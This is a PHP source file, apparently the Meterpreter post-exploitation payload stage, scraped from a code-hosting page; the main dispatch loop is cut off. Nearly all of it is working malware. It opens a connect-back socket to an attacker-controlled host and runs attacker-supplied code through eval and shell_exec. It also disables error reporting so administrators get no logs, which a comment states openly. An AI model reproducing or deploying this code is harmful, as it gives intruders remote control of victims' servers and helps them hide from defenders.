979 lines
31 KiB
PHP
979 lines
31 KiB
PHP
#<?php
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# Everything that needs to be global has to be made so explicitly so we can run
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# inside a call to create_user_func($user_input);
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# global list of channels
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if (!isset($GLOBALS['channels'])) {
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$GLOBALS['channels'] = array();
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}
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# global mapping of channels to channelized processes. This is how we know
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# if we need to kill a process when it's channel has been closed.
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if (!isset($GLOBALS['channel_process_map'])) {
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$GLOBALS['channel_process_map'] = array();
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}
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# global resource map. This is how we know whether to use socket or stream
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# functions on a channel.
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if (!isset($GLOBALS['resource_type_map'])) {
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$GLOBALS['resource_type_map'] = array();
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}
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# global map of sockets to the associated peer host.
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if (!isset($GLOBALS['udp_host_map'])) {
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$GLOBALS['udp_host_map'] = array();
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}
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# global list of resources we need to watch in the main select loop
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if (!isset($GLOBALS['readers'])) {
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$GLOBALS['readers'] = array();
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}
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function my_print($str) {
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#error_log($str);
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}
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my_print("Evaling main meterpreter stage");
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# Be very careful not to put a # anywhere that isn't a comment (e.g. inside a
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# string) as the comment remover will completely break this payload
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function dump_array($arr, $name=null) {
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if (is_null($name)) {
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$name = "Array";
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}
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my_print(sprintf("$name (%s)", count($arr)));
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foreach ($arr as $key => $val) {
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if (is_array($val)) {
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# recurse
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dump_array($val, "{$name}[{$key}]");
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} else {
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my_print(sprintf(" $key ($val)"));
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}
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}
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}
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function dump_readers() {
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global $readers;
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dump_array($readers, 'Readers');
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}
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function dump_resource_map() {
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global $resource_type_map;
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dump_array($resource_type_map, 'Resource map');
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}
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function dump_channels($extra="") {
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global $channels;
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dump_array($channels, 'Channels '.$extra);
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}
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# Doesn't exist before php 4.3
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if (!function_exists("file_get_contents")) {
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function file_get_contents($file) {
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$f = @fopen($file,"rb");
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$contents = false;
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if ($f) {
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do { $contents .= fgets($f); } while (!feof($f));
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}
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fclose($f);
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return $contents;
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}
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}
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# Renamed in php 4.3
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if (!function_exists('socket_set_option')) {
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function socket_set_option($sock, $type, $opt, $value) {
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socket_setopt($sock, $type, $opt, $value);
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}
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}
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#
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# Constants
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#
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define("PACKET_TYPE_REQUEST",0);
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define("PACKET_TYPE_RESPONSE",1);
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define("PACKET_TYPE_PLAIN_REQUEST", 10);
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define("PACKET_TYPE_PLAIN_RESPONSE", 11);
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define("ERROR_SUCCESS",0);
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# not defined in original C implementation
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define("ERROR_FAILURE",1);
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define("CHANNEL_CLASS_BUFFERED", 0);
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define("CHANNEL_CLASS_STREAM", 1);
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define("CHANNEL_CLASS_DATAGRAM", 2);
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define("CHANNEL_CLASS_POOL", 3);
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#
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# TLV Meta Types
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#
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define("TLV_META_TYPE_NONE", ( 0 ));
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define("TLV_META_TYPE_STRING", (1 << 16));
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define("TLV_META_TYPE_UINT", (1 << 17));
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define("TLV_META_TYPE_RAW", (1 << 18));
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define("TLV_META_TYPE_BOOL", (1 << 19));
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define("TLV_META_TYPE_COMPRESSED", (1 << 29));
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define("TLV_META_TYPE_GROUP", (1 << 30));
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define("TLV_META_TYPE_COMPLEX", (1 << 31));
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# not defined in original
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define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16));
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#
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# TLV base starting points
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#
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define("TLV_RESERVED", 0);
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define("TLV_EXTENSIONS", 20000);
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define("TLV_USER", 40000);
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define("TLV_TEMP", 60000);
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#
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# TLV Specific Types
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#
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define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
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define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
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define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
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define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
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define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
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define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
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define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
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define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
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define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
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define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
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define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
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define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
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define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
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define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
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define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
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define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
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define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
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define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
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define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
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define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
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define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
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define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
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define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
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define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
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define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
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define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
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define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
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function my_cmd($cmd) {
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return shell_exec($cmd);
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}
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function is_windows() {
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return (strtoupper(substr(PHP_OS,0,3)) == "WIN");
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}
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##
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# Worker functions
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##
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function core_channel_open($req, &$pkt) {
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$type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE);
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my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do");
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# Doing it this way allows extensions to create new channel types without
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# needing to modify the core code.
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$handler = "channel_create_". $type_tlv['value'];
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if ($type_tlv['value'] && is_callable($handler)) {
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my_print("Calling {$handler}");
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$ret = $handler($req, $pkt);
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} else {
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my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =(");
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$ret = ERROR_FAILURE;
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}
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return $ret;
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}
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# Works for streams
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function core_channel_eof($req, &$pkt) {
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my_print("doing channel eof");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$c = get_channel_by_id($chan_tlv['value']);
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if ($c) {
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if (eof($c[1])) {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
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}
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return ERROR_SUCCESS;
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} else {
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return ERROR_FAILURE;
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}
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}
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# Works
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function core_channel_read($req, &$pkt) {
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#my_print("doing channel read");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
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$id = $chan_tlv['value'];
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$len = $len_tlv['value'];
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$data = channel_read($id, $len);
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if ($data === false) {
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$res = ERROR_FAILURE;
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
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$res = ERROR_SUCCESS;
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}
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return $res;
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}
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# Works
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function core_channel_write($req, &$pkt) {
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#my_print("doing channel write");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
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$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
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$id = $chan_tlv['value'];
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$data = $data_tlv['value'];
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$len = $len_tlv['value'];
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$wrote = channel_write($id, $data, $len);
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if ($wrote === false) {
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return ERROR_FAILURE;
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote));
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return ERROR_SUCCESS;
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}
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}
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function core_channel_close($req, &$pkt) {
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global $channel_process_map;
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# XXX remove the closed channel from $readers
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my_print("doing channel close");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$id = $chan_tlv['value'];
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$c = get_channel_by_id($id);
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if ($c) {
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# We found a channel, close its stdin/stdout/stderr
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channel_close_handles($id);
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# if the channel we're closing is associated with a process, kill the
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# process
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# Make sure the stdapi function for closing a process handle is
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# available before trying to clean up
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if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
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close_process($channel_process_map[$id]);
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}
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return ERROR_SUCCESS;
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}
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dump_channels("after close");
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return ERROR_FAILURE;
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}
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#
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# Destroy a channel and all associated handles.
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#
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function channel_close_handles($cid) {
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global $channels;
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# Sanity check - make sure a channel with the given cid exists
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if (!array_key_exists($cid, $channels)) {
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return;
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}
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$c = $channels[$cid];
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for($i = 0; $i < 3; $i++) {
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#my_print("closing channel fd $i, {$c[$i]}");
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if (array_key_exists($i, $c) && is_resource($c[$i])) {
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my_print("Closing handle {$c[$i]}");
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close($c[$i]);
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# Make sure the main loop doesn't select on this resource after we
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# close it.
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remove_reader($c[$i]);
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}
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}
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# After closing all the channel's handlers, the channel itself isn't very
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# useful, axe it from the list.
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unset($channels[$cid]);
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}
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function core_channel_interact($req, &$pkt) {
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global $readers;
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my_print("doing channel interact");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$id = $chan_tlv['value'];
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# True means start interacting, False means stop
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$toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL);
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$c = get_channel_by_id($id);
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if ($c) {
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if ($toggle_tlv['value']) {
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# Start interacting. If we're already interacting with this
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# channel, it's an error and we should return failure.
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if (!in_array($c[1], $readers)) {
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# stdout
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add_reader($c[1]);
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# Make sure we don't add the same resource twice in the case
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# that stdin == stderr
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if (array_key_exists(2, $c) && $c[1] != $c[2]) {
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# stderr
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add_reader($c[2]);
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}
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$ret = ERROR_SUCCESS;
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} else {
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# Already interacting
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$ret = ERROR_FAILURE;
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}
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} else {
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# Stop interacting. If we're not interacting yet with this
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# channel, it's an error and we should return failure.
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if (in_array($c[1], $readers)) {
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remove_reader($c[1]); # stdout
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remove_reader($c[2]); # stderr
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$ret = ERROR_SUCCESS;
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} else {
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# Not interacting. This is technically failure, but it seems
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# the client sends us two of these requests in quick succession
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# causing the second one to always return failure. When that
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# happens we fail to clean up properly, so always return
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# success here.
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$ret = ERROR_SUCCESS;
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}
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}
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} else {
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# Not a valid channel
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my_print("Trying to interact with an invalid channel");
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$ret = ERROR_FAILURE;
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}
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return $ret;
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}
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# zlib support is not compiled in by default, so this makes sure the library
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# isn't compressed before eval'ing it
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# TODO: check for zlib support and decompress if possible
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function core_loadlib($req, &$pkt) {
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my_print("doing core_loadlib (no-op)");
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$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
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if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
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return ERROR_FAILURE;
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} else {
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eval($data_tlv['value']);
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return ERROR_SUCCESS;
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}
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}
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##
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# Channel Helper Functions
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##
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$channels = array();
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function register_channel($in, $out=null, $err=null) {
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global $channels;
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if ($out == null) { $out = $in; }
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if ($err == null) { $err = $out; }
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$channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in));
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# Grab the last index and use it as the new ID.
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$id = end(array_keys($channels));
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my_print("Created new channel $in, with id $id");
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return $id;
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}
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#
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# Channels look like this:
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#
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# Array
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# (
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# [0] => Array
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# (
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# [0] => Resource id #12
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# [1] => Resource id #13
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# [2] => Resource id #14
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# [type] => 'stream'
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# )
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# )
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#
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function get_channel_id_from_resource($resource) {
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global $channels;
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if (empty($channels)) {
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return false;
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}
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foreach ($channels as $i => $chan_ary) {
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if (in_array($resource, $chan_ary)) {
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my_print("Found channel id $i");
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return $i;
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}
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}
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return false;
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}
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function get_channel_by_id($chan_id) {
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global $channels;
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my_print("Looking up channel id $chan_id");
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dump_channels("in get_channel_by_id");
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if (array_key_exists($chan_id, $channels)) {
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return $channels[$chan_id];
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} else {
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return false;
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}
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}
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# Write data to the channel's stdin
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function channel_write($chan_id, $data) {
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$c = get_channel_by_id($chan_id);
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if ($c && is_resource($c[0])) {
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return write($c[0], $data);
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} else {
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return false;
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}
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}
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# Read from the channel's stdout
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function channel_read($chan_id, $len) {
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$c = get_channel_by_id($chan_id);
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if ($c && is_resource($c[1])) {
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return read($c[1], $len);
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} else {
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return false;
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}
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}
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##
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# TLV Helper Functions
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##
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function generate_req_id() {
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$characters = 'abcdefghijklmnopqrstuvwxyz';
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$rid = '';
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for ($p = 0; $p < 32; $p++) {
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$rid .= $characters[rand(0, strlen($characters)-1)];
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}
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return $rid;
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}
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function handle_dead_resource_channel($resource) {
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global $msgsock;
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if (!is_resource($resource)) {
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return;
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}
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$cid = get_channel_id_from_resource($resource);
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if ($cid === false) {
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my_print("Resource has no channel: {$resource}");
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# Make sure the provided resource gets closed regardless of it's status
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# as a channel
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remove_reader($resource);
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close($resource);
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} else {
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my_print("Handling dead resource: {$resource}, for channel: {$cid}");
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# Make sure we close other handles associated with this channel as well
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channel_close_handles($cid);
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$pkt = pack("N", PACKET_TYPE_REQUEST);
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
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# Add the length to the beginning of the packet
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$pkt = pack("N", strlen($pkt) + 4) . $pkt;
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write($msgsock, $pkt);
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}
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|
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return;
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}
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|
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function handle_resource_read_channel($resource, $data) {
|
|
global $udp_host_map;
|
|
$cid = get_channel_id_from_resource($resource);
|
|
my_print("Handling data from $resource: {$data}");
|
|
|
|
# Build a new Packet
|
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
list($h,$p) = $udp_host_map[(int)$resource];
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
|
|
}
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_response($req) {
|
|
$pkt = pack("N", PACKET_TYPE_RESPONSE);
|
|
|
|
$method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD);
|
|
#my_print("method is {$method_tlv['value']}");
|
|
packet_add_tlv($pkt, $method_tlv);
|
|
|
|
$reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID);
|
|
packet_add_tlv($pkt, $reqid_tlv);
|
|
|
|
if (is_callable($method_tlv['value'])) {
|
|
$result = $method_tlv['value']($req, $pkt);
|
|
} else {
|
|
my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure");
|
|
$result = ERROR_FAILURE;
|
|
}
|
|
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result));
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_tlv($type, $val) {
|
|
return array( 'type' => $type, 'value' => $val );
|
|
}
|
|
|
|
function tlv_pack($tlv) {
|
|
$ret = "";
|
|
#my_print("Creating a tlv of type: {$tlv['type']}");
|
|
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
# PHP's pack appears to be busted for chars,
|
|
$ret = pack("NN", 8 + 1, $tlv['type']);
|
|
$ret .= $tlv['value'] ? "\x01" : "\x00";
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
|
|
# treat groups the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
|
|
# treat complex the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
else {
|
|
my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf");
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function packet_add_tlv(&$pkt, $tlv) {
|
|
$pkt .= tlv_pack($tlv);
|
|
}
|
|
|
|
function packet_get_tlv($pkt, $type) {
|
|
#my_print("Looking for a tlv of type $type");
|
|
# Start at offset 8 to skip past the packet header
|
|
$offset = 8;
|
|
while ($offset < strlen($pkt)) {
|
|
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
|
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
#my_print("Found one at offset $offset");
|
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
$tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
|
$tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
|
|
}
|
|
else {
|
|
my_print("Wtf type is this? $type");
|
|
$tlv = null;
|
|
}
|
|
return $tlv;
|
|
}
|
|
$offset += $tlv['len'];
|
|
}
|
|
#my_print("Didn't find one, wtf");
|
|
return false;
|
|
}
|
|
|
|
|
|
##
|
|
# Functions for genericizing the stream/socket conundrum
|
|
##
|
|
|
|
|
|
function register_socket($sock, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering socket $sock for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$sock] = 'socket';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$sock] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new socket");
|
|
}
|
|
}
|
|
|
|
# The stream functions cannot be unconnected, so don't require a host map
|
|
function register_stream($stream, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering stream $stream for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$stream] = 'stream';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$stream] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new stream");
|
|
}
|
|
}
|
|
|
|
function connect($ipaddr, $port, $proto='tcp') {
|
|
my_print("Doing connect($ipaddr, $port)");
|
|
$sock = false;
|
|
# Prefer the stream versions so we don't have to use both select functions
|
|
# unnecessarily, but fall back to socket_create if they aren't available.
|
|
if (is_callable('stream_socket_client')) {
|
|
my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
|
|
$sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
|
|
my_print("Got a sock: $sock");
|
|
if (!$sock) { return false; }
|
|
if ($proto == 'tcp') {
|
|
register_stream($sock);
|
|
} elseif ($proto == 'udp') {
|
|
register_stream($sock, $ipaddr, $port);
|
|
} else {
|
|
my_print("WTF proto is this: '$proto'");
|
|
}
|
|
} else
|
|
if (is_callable('fsockopen')) {
|
|
my_print("fsockopen");
|
|
if ($proto == 'tcp') {
|
|
$sock = fsockopen($ipaddr,$port);
|
|
if (!$sock) { return false; }
|
|
register_stream($sock);
|
|
} else {
|
|
$sock = fsockopen($proto."://".$ipaddr,$port);
|
|
if (!$sock) { return false; }
|
|
register_stream($sock, $ipaddr, $port);
|
|
}
|
|
} elseif (is_callable('socket_create')) {
|
|
my_print("socket_create");
|
|
if ($proto == 'tcp') {
|
|
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
$res = socket_connect($sock, $ipaddr, $port);
|
|
if (!$res) { return false; }
|
|
register_socket($sock);
|
|
} elseif ($proto == 'udp') {
|
|
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
|
|
register_socket($sock, $ipaddr, $port);
|
|
}
|
|
}
|
|
|
|
return $sock;
|
|
}
|
|
|
|
function eof($resource) {
|
|
$ret = false;
|
|
switch (get_rtype($resource)) {
|
|
# XXX Doesn't work with sockets.
|
|
case 'socket': break;
|
|
case 'stream': $ret = feof($resource); break;
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function close($resource) {
|
|
my_print("Closing resource $resource");
|
|
global $readers, $resource_type_map, $udp_host_map;
|
|
|
|
remove_reader($resource);
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $ret = socket_close($resource); break;
|
|
case 'stream': $ret = fclose($resource); break;
|
|
}
|
|
# Every resource should be in the resource type map, but check anyway
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
unset($resource_type_map[(int)$resource]);
|
|
}
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Removing $resource from udp_host_map");
|
|
unset($udp_host_map[(int)$resource]);
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function read($resource, $len=null) {
|
|
global $udp_host_map;
|
|
# Max packet length is magic. If we're reading a pipe that has data but
|
|
# isn't going to generate any more without some input, then reading less
|
|
# than all bytes in the buffer or 8192 bytes, the next read will never
|
|
# return.
|
|
if (is_null($len)) { $len = 8192; }
|
|
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
|
|
$buff = '';
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Reading UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
|
|
} else {
|
|
my_print("Reading TCP socket");
|
|
$buff = socket_read($resource, $len, PHP_BINARY_READ);
|
|
}
|
|
break;
|
|
case 'stream':
|
|
#my_print("Reading stream");
|
|
$md = stream_get_meta_data($resource);
|
|
#dump_array($md, "Meta data for $resource");
|
|
$buff = fread($resource, $len);
|
|
break;
|
|
default: my_print("Wtf don't know how to read from resource $resource"); break;
|
|
}
|
|
#my_print(sprintf("Read %d bytes", strlen($buff)));
|
|
return $buff;
|
|
}
|
|
|
|
function write($resource, $buff, $len=0) {
|
|
global $udp_host_map;
|
|
if ($len == 0) { $len = strlen($buff); }
|
|
#my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
|
|
$count = false;
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Writing UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
$count = socket_sendto($resource, $buff, $len, $host, $port);
|
|
} else {
|
|
$count = socket_write($resource, $buff, $len);
|
|
}
|
|
break;
|
|
case 'stream': $count = fwrite($resource, $buff, $len); break;
|
|
default: my_print("Wtf don't know how to write to resource $resource"); break;
|
|
}
|
|
#my_print("Wrote $count bytes");
|
|
return $count;
|
|
}
|
|
|
|
function get_rtype($resource) {
|
|
global $resource_type_map;
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
return $resource_type_map[(int)$resource];
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
|
|
$streams_r = array();
|
|
$streams_w = array();
|
|
$streams_e = array();
|
|
|
|
$sockets_r = array();
|
|
$sockets_w = array();
|
|
$sockets_e = array();
|
|
|
|
if ($r) {
|
|
foreach ($r as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_r[] = $resource; break;
|
|
case 'stream': $streams_r[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($w) {
|
|
foreach ($w as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_w[] = $resource; break;
|
|
case 'stream': $streams_w[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($e) {
|
|
foreach ($e as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_e[] = $resource; break;
|
|
case 'stream': $streams_e[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
|
|
$n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e);
|
|
$n_streams = count($streams_r) + count($streams_w) + count($streams_e);
|
|
#my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec");
|
|
$r = array();
|
|
$w = array();
|
|
$e = array();
|
|
|
|
# Workaround for some versions of PHP that throw an error and bail out if
|
|
# select is given an empty array
|
|
if (count($sockets_r)==0) { $sockets_r = null; }
|
|
if (count($sockets_w)==0) { $sockets_w = null; }
|
|
if (count($sockets_e)==0) { $sockets_e = null; }
|
|
if (count($streams_r)==0) { $streams_r = null; }
|
|
if (count($streams_w)==0) { $streams_w = null; }
|
|
if (count($streams_e)==0) { $streams_e = null; }
|
|
|
|
$count = 0;
|
|
if ($n_sockets > 0) {
|
|
$res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec);
|
|
if (false === $res) { return false; }
|
|
if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); }
|
|
if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); }
|
|
if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); }
|
|
$count += $res;
|
|
}
|
|
if ($n_streams > 0) {
|
|
$res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec);
|
|
if (false === $res) { return false; }
|
|
if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); }
|
|
if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); }
|
|
if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); }
|
|
$count += $res;
|
|
}
|
|
#my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e)));
|
|
return $count;
|
|
}
|
|
|
|
function add_reader($resource) {
|
|
global $readers;
|
|
if (is_resource($resource) && !in_array($resource, $readers)) {
|
|
$readers[] = $resource;
|
|
}
|
|
}
|
|
|
|
function remove_reader($resource) {
|
|
global $readers;
|
|
#my_print("Removing reader: $resource");
|
|
#dump_readers();
|
|
if (in_array($resource, $readers)) {
|
|
foreach ($readers as $key => $r) {
|
|
if ($r == $resource) {
|
|
unset($readers[$key]);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
##
|
|
# Main stuff
|
|
##
|
|
|
|
ob_implicit_flush();
|
|
|
|
# For debugging
|
|
#error_reporting(E_ALL);
|
|
# Turn off error reporting so we don't leave any ugly logs. Why make an
|
|
# administrator's job easier if we don't have to? =)
|
|
error_reporting(0);
|
|
|
|
@ignore_user_abort(true);
|
|
# Has no effect in safe mode, but try anyway
|
|
@set_time_limit(0);
|
|
@ignore_user_abort(1);
|
|
@ini_set('max_execution_time',0);
|
|
|
|
|
|
# If we don't have a socket we're standalone, setup the connection here.
|
|
# Otherwise, this is a staged payload, don't bother connecting
|
|
if (!isset($GLOBALS['msgsock'])) {
|
|
# The payload handler overwrites this with the correct LHOST before sending
|
|
# it to the victim.
|
|
$ipaddr = '127.0.0.1';
|
|
$port = 4444;
|
|
my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
|
|
if (FALSE !== strpos($ipaddr,":")) {
|
|
# ipv6 requires brackets around the address
|
|
$ipaddr = "[".$ipaddr."]";
|
|
}
|
|
$msgsock = connect($ipaddr, $port);
|
|
if (!$msgsock) { die(); }
|
|
} else {
|
|
# The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
|
|
# stream) in $msgsock_type
|
|
$msgsock = $GLOBALS['msgsock'];
|
|
$msgsock_type = $GLOBALS['msgsock_type'];
|
|
switch ($msgsock_type) {
|
|
case 'socket':
|
|
register_socket($msgsock);
|
|
break;
|
|
case 'stream':
|
|
# fall through
|
|
default:
|
|
register_stream($msgsock);
|
|
}
|
|
}
|
|
add_reader($msgsock);
|
|
|
|
#
|
|
# Main dispatch loop
|
|
#
|
|
